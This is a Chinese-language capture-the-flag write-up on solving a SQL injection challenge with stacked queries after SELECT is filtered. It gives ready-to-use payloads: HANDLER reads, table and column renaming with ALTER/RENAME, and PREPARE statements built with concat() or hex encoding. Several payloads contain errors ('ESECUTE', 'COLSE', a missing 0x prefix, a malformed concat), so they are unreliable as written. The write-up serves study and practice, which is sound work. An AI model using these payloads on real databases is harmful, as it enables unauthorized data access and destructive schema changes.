本题收获挺多,写篇文来记录一下
打开题目,发现有提交页面,点击一下看一下回显
发现出现了/?inject=1初步判断存在注入
来找一下注入类型
试了一下大致判断为单引号闭合
我们在尝试爆破一下 1' or 1=1 #
看了一下好像没啥有用的信息再尝试一下其他方法
尝试一下联合查询
1,order by 发现有2个
2,再union select 1,2 查询
然后发现select等被过滤了,布尔盲注,报错注入,延时注入都无法使用了,只能想其他的方法了
我们尝试一下堆叠注入
1;show databases;#
发现好像可以嘞
我们再尝试一下看数据表
1' ;show tables;#
ok,发现有两个表,我们想办法看一下
先看一下words这个表
先看一下堆叠注入 1';show columns from words;#
1';desc words;#
ok,先看一下有没有有效信息
有id,data先记下
再看一下另一个表
看到了flag,那么大概flag就在这里
我们尝试一下看能不能看到flag,用堆叠注入发现看不到
然后在大佬那里看来四种方法
1,handle
通过MySQL特有的语句handle来查看
打开表:HANDLE 表名 OPEN ;
查看表:HANDLE 表名 next;
关闭表:HANDLE 表名 COLSE;
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ next;HANDLER `1919810931114514` CLOSE;#
2,更改表名
这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id(或data),结合上面的1’ or 1=1#爆出表所有内容就可以查flag啦。
修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;
修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
或者
rename命令用于修改表名。
rename命令格式:rename table 原表名 to 新表名;
1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#
3,预编译
因为select被过滤了,所以我们可以通过预编译来拼接select
PREPARE hacker FROM concat ('s','elect','from `1919810931114514`') ;ESECUTE hacker;#
预编译相当于定一个语句相同,参数不同的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤
格式:
PREPARE 名称 FROM Sql语句 ? ;
SET @x=xx;
EXECUTE 名称 USING @x;
4,跟3方法有点像,
我们将sql语句进行十六进制的编码 select * from `1919810931114514`将其编码为73656c656374202a2066726f6d20603139313938313039333131313435313460
然后就有语句
1';PREPARE hacker FROM 73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#